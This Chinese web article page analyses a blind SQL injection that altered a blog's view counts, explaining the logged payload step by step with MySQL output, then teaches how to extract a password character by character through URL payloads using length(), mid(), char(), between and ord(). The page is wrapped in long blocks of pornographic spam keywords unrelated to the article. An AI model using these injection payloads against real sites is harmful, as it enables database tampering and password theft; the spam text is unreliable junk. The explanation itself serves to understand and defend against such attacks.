日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

遭遇一次MySQL猜解注入攻擊

瀏覽:30日期:2023-10-17 11:34:19

前些日子數據庫被入侵,文章的閱讀數都被纂改了,還好及時發現并做好備份。查一下 MySQL 語句記錄,發現這么原來是這么一句 SQL 在搗鬼:

UPDATE table SET views = ’1’ WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))>112)#

PS:user 這個表是數據庫里一個以前測試用的表,表的結構也寫到博文里面,暴露了字段。

這句 SQL 為什么能那么厲害呢?我們接下來分析一下。

1. 首先是 CAST(FirstName AS CHAR) 這個子句。MySQL 的 CAST() 函數可用來獲取一個類型的值,并產生另一個類型的值。具體的使用可以參看 MySQL CAST與CONVERT 函數的用法這篇文章。我們執行一下,看看結果是什么:

mysql> SELECT CAST(FirstName AS CHAR) FROM user;+-------------------------+| CAST(FirstName AS CHAR) |+-------------------------+| Gonn || Mio || Google || yale |+-------------------------+4 rows in set

就是將 FirstName 這個字段全部轉成 CHAR 類型。

2. 接下來我們再看 IFNULL(CAST(FirstName AS CHAR),0x20) 這個子句的作用。IFNULL 用法:IFNULL(expr1,expr2),如果 expr1 不是 NULL,IFNULL() 返回 expr1,否則它返回 expr2。具體可以參看《MySQL IFNULL()函數用法》。

執行一下:

mysql> SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user;+--------------------------------------+| IFNULL(CAST(FirstName AS CHAR),0x20) |+--------------------------------------+| Gonn || Mio || Google || yale |+--------------------------------------+4 rows in set

雖然看起來結果沒啥不同,但是,它起到了一個作用。假設 CAST 轉換成 CHAR 失敗,它就會返回 0x20 這個值,為后面的 ORD 提供作用。

3. 接下來再看 MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) 這個子句。MID() 這個函數就是截取字符串用的,具體可以看看《MySQL MID()函數用法》這個。

mysql> SELECT MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1);+----------------------------------------------------------------------------------------+| MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) |+----------------------------------------------------------------------------------------+| i |+----------------------------------------------------------------------------------------+1 row in set

就得到一個字母 i。

4. 關鍵的子句來了:ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))。ORD() 函數返回字符串第一個字符的 ASCII 值, 《《MySQL ORD()函數用法》》。

mysql> SELECT ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1));+---------------------------------------------------------------------------------------------+| ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1)) |+---------------------------------------------------------------------------------------------+| 105 |+---------------------------------------------------------------------------------------------+1 row in set

就是 i 的 ASCII 碼是105.

如果是失敗,返回 0x20 這種情況:

mysql> SELECT ORD(’0x20’);+-------------+| ORD(’0x20’) |+-------------+| 48 |+-------------+1 row in set

兩種情況,在 ASCII 碼中都要比 112 前,就是下面的 hack 語句是可以執行的。

UPDATE table SET views = ’1’ WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM nowamagic.`tb2` ORDER BY id LIMIT 1,1),2,1))>112)#MySQL 猜解注入

在 MySQL 中內置了很多函數,利用它們,即使在沒有聯合查詢功能的老版本 MySQL 上也可以做一些意想不到的操作。假設網站存在于http://www.nm.net/,我們想知道用戶ID等于10的用戶的密碼,那么首先進行如下請求:

http://www.nm.net/index.php?id=10 and length(password)=12#

我們通過 length() 函數以及是否正確返回正常頁面來確定用戶密碼的長度,這里我們猜解的是12位,注意數字后要有一個#號。接下來用mid()和char()暴力猜解口令的每一個字符,如果猜對了則頁面返回正常:

http://www.nm.net/index.php?id=10 and mid(password,1,1)=char(0x60)#

Mid()函數原型是“Mid(str,pos,len)”,也可以用substring()函數。Char()函數的參數是ASCII值,在0~255之間,一個遍歷過去就可以完成破解。

另外還可以用between()函數先判斷這個字符是數字還是字母,縮小范圍,加快暴力破解的速度。例如要判斷字符是否是小寫字母還可以用如下請求:

http://www.nm.net/index.php?id=10 and (mid(password,1,1)) between char(0x61) and char(0x7A)#

除了char()函數,還可以用ord函數來進行猜解。Ord函數可以得到字符的ASCII值,所以它也能實現類似的功能:

http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))=0x6D#

用ord函數的另一個好處就是可以使用大于小于這種運算符來確定字符的范圍:

http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))>0x41#

就這樣慢慢一步步手工猜解注入。

標簽: MySQL 數據庫
相關文章:
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
亚洲精品麻豆| 夜久久久久久| 欧美gv在线| 麻豆91小视频| 国产亚洲高清一区| 综合一区在线| 88xx成人免费观看视频库| 国产精品高清一区二区| 日韩和欧美的一区| 综合激情五月婷婷| 国产亚洲毛片在线| 日韩精品首页| 成人国产精品久久| 精品久久美女| 精品视频高潮| 日韩精品免费观看视频| 亚洲激情另类| 久久亚洲国产| 日韩毛片视频| 精品中文字幕一区二区三区 | 日韩精品久久久久久久软件91| 国产精品呻吟| 国产婷婷精品| 丝袜美腿亚洲一区二区图片| 亚洲精品在线观看91| 欧美日韩在线观看视频小说| 色综合五月天| 国产福利91精品一区二区| 麻豆一区二区三| 久久国产精品美女| 精品亚洲自拍| 国产成人1区| 成人免费电影网址| 91精品精品| 美女久久久久| 视频一区二区欧美| 久久av一区二区三区| 视频一区二区三区在线| 亚洲+小说+欧美+激情+另类| 日韩av影院| 国产精品2023| 国产精品毛片久久| 欧美一级鲁丝片| 999久久久精品国产| 精品中文一区| 日本亚洲视频| 欧美日韩一区二区高清| 麻豆精品av| 秋霞国产精品| 伊人久久亚洲美女图片| 丝袜亚洲精品中文字幕一区| 9国产精品视频| 亚洲精品女人| 欧美极品中文字幕| 欧美香蕉视频| 久久亚洲影院| 91精品美女| 久久精品一区二区三区中文字幕| 久久久久久色| 国产精品www.| 青青久久av| 亚洲香蕉视频| 国产精品高清一区二区| 日韩精品诱惑一区?区三区| 欧美亚洲国产激情| 四虎国产精品免费久久| av中文资源在线资源免费观看| 亚洲精品国产偷自在线观看| 国产欧美日韩免费观看| 女人天堂亚洲aⅴ在线观看| 久久这里只有| 中文在线日韩| 91高清一区| 久久国产尿小便嘘嘘| 午夜国产一区二区| 久久uomeier| 国产精品久久乐| 亚洲精品系列| 欧美aa国产视频| 国产成人久久| 国产精品一区二区免费福利视频 | 91精品国产成人观看| 国产精品啊v在线| 一区二区亚洲视频| re久久精品视频| 欧美黄色网页| 国产精品色在线网站| 免费看精品久久片| 午夜国产精品视频免费体验区| 成人台湾亚洲精品一区二区| 国产亚洲一区二区三区啪| 国产亚洲精品v| 久久精品国产亚洲夜色av网站| 国内一区二区三区| 国产精品成人3p一区二区三区| 四虎国产精品免费久久| 久久电影一区| 国产精品日本| 黄色免费成人| 欧美精品黄色| 午夜国产一区二区| 欧美gv在线| av中文资源在线资源免费观看| 国产精品午夜av| 国产三级一区| 久久国产精品免费一区二区三区| 亚洲精选久久| 亚洲欧美在线综合| 一区二区三区国产在线| 9色国产精品| 欧美日韩四区| 欧美日韩精品一本二本三本| 999久久久免费精品国产| 色偷偷色偷偷色偷偷在线视频| 精品五月天堂| 国产一区二区三区四区| 国产免费av一区二区三区| 欧美三区不卡| 欧美日韩一区二区国产| 日本午夜精品一区二区三区电影 | 亚洲狼人精品一区二区三区| 男女性色大片免费观看一区二区| 1024精品久久久久久久久| 91久久国产| 成人av二区| 国产精品美女| 男人的天堂久久精品| 先锋影音国产一区| 亚洲日产av中文字幕| 日韩高清电影免费| 久久gogo国模啪啪裸体| 精品一区二区男人吃奶| 国产福利片在线观看| 日韩欧美三级| 欧美精品一二| 蜜桃av一区二区三区电影| 亚洲精品少妇| 国产精品自在| 国产999精品在线观看| 97精品国产福利一区二区三区| 日韩在线观看一区| 欧美一区三区| 欧美日韩精品免费观看视频完整| 香蕉久久夜色精品国产| 日韩**一区毛片| 精品中国亚洲| 欧美日韩精品一区二区视频| 亚洲激情欧美| 69堂精品视频在线播放| 久久亚洲黄色| 91精品蜜臀一区二区三区在线 | 中文字幕成人| 国产精品亚洲欧美一级在线| 麻豆一区二区三| 亚洲精品在线影院| 天堂va蜜桃一区二区三区| 欧美色综合网| 日韩欧美一区免费| 日韩影院在线观看| 国产精品任我爽爆在线播放| 黄毛片在线观看| 麻豆91精品| 国产精品22p| 亚洲调教视频在线观看| 日韩精品一区二区三区中文 | 在线视频日韩| 日本视频在线一区| 日韩久久精品| 亚洲日本欧美| 国产成年精品| 免费久久99精品国产| 美女久久久精品| 激情婷婷综合| 国产精品日本一区二区不卡视频| 久久精品免费一区二区三区 | 四虎8848精品成人免费网站| 欧美在线亚洲综合一区| 欧美日韩亚洲三区| 亚洲大片在线| 久久99精品久久久野外观看| 欧美日韩一二三四| 欧美日韩国产一区二区在线观看| 蜜桃成人精品| 国产日韩免费| 午夜电影亚洲| 精品三级久久久| 亚洲综合小说| 成人日韩在线观看| 欧美偷窥清纯综合图区| 精品一区三区| 精品国产一区二区三区2021| 中文精品在线| 国产精品不卡| 91麻豆精品| 夜夜嗨网站十八久久| 色一区二区三区四区| 日本va欧美va瓶| 欧美国产91| 精品视频网站| 日韩一区网站|